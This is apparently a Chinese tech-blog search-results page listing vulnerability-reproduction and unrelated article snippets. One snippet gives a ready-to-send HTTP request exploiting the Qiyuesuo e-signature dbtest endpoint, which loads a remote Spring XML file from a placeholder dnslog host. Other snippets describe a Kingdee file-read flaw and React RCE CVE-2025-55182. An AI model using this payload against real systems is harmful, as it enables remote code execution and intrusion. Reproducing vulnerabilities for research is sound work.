首页 文章 精选 留言 我的

精选列表

搜索[可复现构建],共10015篇文章
优秀的个人博客,低调大师

【漏洞复现】金蝶云星空CommonFileServer存在任意文件读取漏洞

金蝶云星空是一款云端企业资源管理(ERP)软件,为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云星空聚焦多组织,多利润中心的大中型企业。其CommonFileServer接口存在任意文件读取漏洞,由于对文件路径参数未进行严格的校验,攻击者可通过构造特殊路径读取服务器上的任意文件,导致敏感信息泄露。

优秀的个人博客,低调大师

【印象】2016云栖大会城市峰会:上海、深圳、南京、北京等精彩复现

2016年,云栖大会城市峰会陆续走过了9座城市,云栖社区特此打包峰会的概要,方便大家好好温习。 作为“世界级·现象级”的大会,2017云栖大会将于10月11-14日在杭州云栖小镇举办。大会内容更加丰满、创意更加跨界;不仅有阿里技术领袖等精彩演讲,还有NASA等黑科技的集体亮相,100+场技术和行业论坛,连续3天的云栖虾米音乐节,以及百家直播伙伴全程直播等。预计大会现场超过5万人参加,直播观看者超数千万。 如果从2009-2010年算起,2017杭州云栖大会已经是第八届。为帮助更多朋友认识云栖大会,云栖社区特别整理了历届云栖大会的精华内容,共享给大家。希望今年10月与更多朋友相聚杭州。本文带大家回忆下2016云栖大会走过那些城市留下的足迹。 上海峰会:数据创业要学习小岗村 1月20日,本次峰会通过60+场高浓度技术演讲、4场开放实验

优秀的个人博客,低调大师

OPPO 快游戏在浏览器复现运行(五)之竖屏适配

大部分竖屏快游戏都很少有兼顾宽屏分辨率的情况,Laya 游戏会有一个自动横屏的机制,会将整个画面横向显示,而像 CC 游戏,基本都是 UI 位置大小严重失调,要么导致某些区域点不了,要么导致 UI 飞出屏幕外,根本看不到点不着。针对这两个常见的游戏框架做了一个竖屏适配修复,可以用修复代码在启动阶段将游戏画面按设定好的比例强制自适配调整。推荐比例:9:16、10:16、9:20。

优秀的个人博客,低调大师

【漏洞复现】React(next.js)远程代码执行漏洞(CVE-2025-55182)

CVE-2025-55182是ReactServerComponents(版本19.0.0至19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化ServerAction请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含vm、child_process或fs等常见Node.js模块即可被利用。

优秀的个人博客,低调大师

【漏洞复现】契约锁电子签章系统dbtest接口存在远程命令执行漏洞

漏洞描述 契约锁电子签章系统dbtest接口存在远程命令执行漏洞 资产收集 ``` 鹰图平台 web.similar_id="f7122cd913fc451f5929b0b689d4b7d8" ``` ![](https://developer.qcloudimg.com/http-save/yehe-9694622/6506c048bff11eae976b45a431afc53b.png) 发送请求 ``` GET /setup/dbtest?db=POSTGRESQL&host=localhost&port=5511&username=root&name=test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://XXX.XXX.dnslog.cn/1.xml HTTP/1.1 Host: xx.xx.xx.xxx User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) Accept: */* Connection: Keep-Alive ``` 返回dnslog请求记录 ![](https://developer.qcloudimg.com/http-save/yehe-9694622/d6e6e447e8a34a5510472ccba9d939de.png)

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册